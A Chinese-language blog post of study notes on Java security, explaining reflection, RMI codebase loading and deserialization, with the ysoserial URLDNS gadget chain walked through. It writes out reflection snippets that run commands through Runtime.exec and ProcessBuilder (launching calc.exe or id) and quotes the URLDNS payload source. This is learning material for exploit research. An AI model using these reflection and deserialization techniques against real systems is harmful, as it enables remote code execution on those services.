JAVA安全漫谈1-8笔记

一.反射篇1

classloader就是java的类加载器,告诉虚拟机如何加载这个类。默认情况下根据类名来加载类,类名必须是完整路径

public class class_init {

    {
        System.out.println("123");
    }
    static {
        System.out.println("456");


    }
    public class_init(){
        System.out.println("789");

    }
    public static void main(String[] args){
        class_init n = new class_init();
    }
}

{}括号里的是初始化块,这里面的代码在创建java对象时执行,而且在构造器之前执行!其实初始化块就是构造器的补充,初始化快是不能接收任何参数的,定义的一些所有对象共有的属性、方法等内容时就可以用初始化块了初始化!好处是可以提高初始化块的复用,提高整个应用的可维护性。

public class class_init {

    {
        System.out.println("123");
    }
    static {
        System.out.println("456");


    }
    public class_init(){
        System.out.println("789");

    }
    public static void main(String[] args) throws ClassNotFoundException {
        class_init n = new class_init();
        Class a = Class.forName("a");
        System.out.println(a);
    }
}
class a{

    static{
        System.out.println("1111");
    }
    public a(){
        System.out.println("2222");
    }
}

 通过调用class.forname可以得到一个类类型的对象,其中就是得到了a类,此时将会自动初始化该类的对象,因此会调用static代码块的内容

public void ref(String name) throws Exception {   
 Class.forName(name);
 }

那么对于上面这段代码,如果入口参数String name可控的话,我们就可以反射任意类,那么如果此时类里的static代码块是恶意代码则会造成危害。

 二.反射篇二

Class clazz = Class.forName("java.lang.Runtime"); 
clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "id");

通过以上的代码来反射执行id是不可以的,因为runtime类的构造函数是私有的,所以newInstance是不成功的,当然当一个类没有无参的构造函数时也不能够成功。

runtime类的构造函数设置为私有是因为该类的设计模式为单例模式,意思就是该类全局模式只能有一个实例,其余的只能通过该类的对象来调用其方法。

Class clazz = Class.forName("java.lang.Runtime"); 
clazz.getMethod("exec",String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz), "calc.exe");

所以这里上面这段经常用的利用反射来执行命令的代码就很好理解了,首先通过forname来或取runtime类,然后调用getmethod来获取exec函数,但是exec函数有多个函数重载,因此要调用入口参数为string类型的构造函数,因此这里getmethod,第二个参数为String.class,然后调用invoke函数,invoke又需要类runtime的对象,而runtime类又是单例模式,因此通过getmethod传入getruntime同时调用invoke来返回runtime类的对象,这样一条链就很容易理解了。

Class clazz = Class.forName("java.lang.Runtime"); 
Method execMethod = clazz.getMethod("exec", String.class); 
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(clazz); execMethod.invoke(runtime, "calc.exe");

 三.反射篇三

因为之前通过runtime类来执行命令我们已经知道其有getruntime静态方法来返回runtime类的对象,所以有个问题:

1.如果一个类没有无参构造方法,也没有类似单例模式里的静态方法,我们怎样通过反射实例化该类呢?

因为我们知道一般实例化一个类,可以用class.newInstance(),它的作用就是调用这个类的无参构造函数,所以不可用的时候要么该类的构造函数是私有的,要么该类就没有无参的构造函数。

所以新介绍了一个getconstructor()函数,这个函数的入口参数是构造函数的参数列表类型,因此通过其就可以调用该类的任意构造函数,并且获取到构造函数以后可以通过newinstance()函数来执行

因为processBuilder类有两个构造函数,因此通过getconstructor调用时入口参数类型也不同

public class fanshe3 {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        Class clazz = Class.forName("java.lang.ProcessBuilder");
        clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));


    }
}

入口为List类型,因此传入List.class,然后调用newInstance来执行,并且此时newInstance的入口参数即为传入的要执行的命令,此时为list类型的值为calc.exe

 另一种则是String类型的这里的...是可变参数,也就是说函数参数个数是可变的,java在编译的时候实际上会将其当做一个数组,所以这里传入newInstance的入口参数是一个二维数组

 因为newInstance函数的入口参数也是可变参数类型的,因此要用String[]{},又因为processbuilder的构造函数的入口参数也是可变参数类型,因此叠加一个数字,即为String[][]{{“calc.exe”}}

public class fanshe3 {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        Class clazz = Class.forName("java.lang.ProcessBuilder");
        clazz.getMethod("start").invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}}));


    }
}

 还有一个问题:

2.如果一个方法或构造方法是私有方法,我们是否能执行它呢?

getmethod是获取类中的公有方法以及从父类继承过来的方法

getDeclaredMethod 系列方法获取的是当前类中“声明”的方法,是实在写在这个类里的,包括私有的方法,但从父类里继承来的就不包含了

getDeclareMethod和getMethod的用法类似,getconstructor和getDeclareConstructor的用法类似,那么此时我们就可以用getDeclareConstructor来获取私有构造方法来实例化对象了

public class fanshe3 {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
       Class clazz = Class.forName("java.lang.Runtime");
        Constructor m = clazz.getDeclareConstructor();
        m.setAccessible(true);
        clazz.getMethod("exec",String.class).invoke(m.newInstance(),"calc.exe");
        

    }
}

 这里拿到构造函数以后还需要设置一下作用域才可以使用私有的构造函数,否则还是不可用。

 四.rmi篇4-6

1.这三篇主要读完只要记得rmi client和rmi registry 、 rmi server是如何通信的即可,服务器注册rmi服务,将对象与name绑定,客户端通过lookup在rmi registry中寻找要加载远程对象,然后再发起请求从rmi server上调用方法。

RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类;如果在 本地没有找到这个类,就会去远程加载codebase中的类。当然如果codebase被控制了,那么就可以自己起一个rmi服务器,使目标服务器加载恶意对象。

当然rmi服务器只有满足一下两个条件才能被攻击:

安装并配置了SecurityManager

Java版本低于7u21、6u45,或者设置了 java.rmi.server.useCodebaseOnly=false (设置为true以后就不能加载远程的codebase了

五.反序列化篇7-8

1.java在序列化对象时,将会调用该对象的writeObject方法,参数类型是ObjectOutputStream,开发者可以将任何内容写入到该stream中,反序列化的时候,会调用readObject()方法,能够读取出写入的内容。而写入的值实际上是在objectAnnotation这个变量中

2.关于URLDNS的反序列化链

 

 打开ysoserial的源码找到payloads/URLDNS,里面就有对该payloads的描述,可以看到如上图所示的gadget,很简单,和刚入门就分析commom collections比的确少了很多很多。。。

public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        /**
         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.</p>
         *
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
         */
        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }

其中注释里已经对该payload做了简单的解释,读一读也能大概明白构造的基本原理

首先ysoserial会调用URLDNS类的getObject方法来获取该payload,这个方法实际上返回的是一个对象,此时由代码中我们可以看到这个对象实际上是一个hashmap的对象。又因为反序列化会调用类的readobject函数,所以如果把hashmap作为要反序列化的对象,将会调用其readObject方法,因此此时我们跟进其看看

    private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        this.reinitialize();
        if (this.loadFactor > 0.0F && !Float.isNaN(this.loadFactor)) {
            s.readInt();
            int mappings = s.readInt();
            if (mappings < 0) {
                throw new InvalidObjectException("Illegal mappings count: " + mappings);
            } else {
                if (mappings > 0) {
                    float lf = Math.min(Math.max(0.25F, this.loadFactor), 4.0F);
                    float fc = (float)mappings / lf + 1.0F;
                    int cap = fc < 16.0F ? 16 : (fc >= 1.07374182E9F ? 1073741824 : tableSizeFor((int)fc));
                    float ft = (float)cap * lf;
                    this.threshold = cap < 1073741824 && ft < 1.07374182E9F ? (int)ft : 2147483647;
                    SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Entry[].class, cap);
                    HashMap.Node<K, V>[] tab = new HashMap.Node[cap];
                    this.table = tab;

                    for(int i = 0; i < mappings; ++i) {
                        K key = s.readObject();
                        V value = s.readObject();
                        this.putVal(hash(key), key, value, false, false);
                    }
                }

            }
        } else {
            throw new InvalidObjectException("Illegal load factor: " + this.loadFactor);
        }
    }

这里关注上面readObject函数中红色部分,这里调用putVal函数,其中对hashmap的键做了hash,这里关注hash的原因是payloads注释中说明了

During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

 

 所以这里实际上是会调用hashmap当前键的hashCode方法,所以如果我们传入URL类的对象,那么自然会调用URL类的hashCode,跟进去看看

 因为在payload中已经设置了hashcode=-1,所以此时调用this.handler的hashcode,跟进发现hanler是URLStreamHandler类的对象,其用关键字transient修饰,就是在序列化的过程中,该成员变量不参与

 

 继续跟进该类,

 

 这里将会调用getHostAddress函数,当然前面getProtocol只要其能够过就行,不需要管,跟进

 这里InetAddress.getByName实际上就是根据主机名获取器ip地址,说明到此时gadget已经执行完毕了,整条链很清晰~

 

 

 

 

posted @ 2019-12-22 00:03  tr1ple  阅读(2312)  评论(2编辑  收藏  举报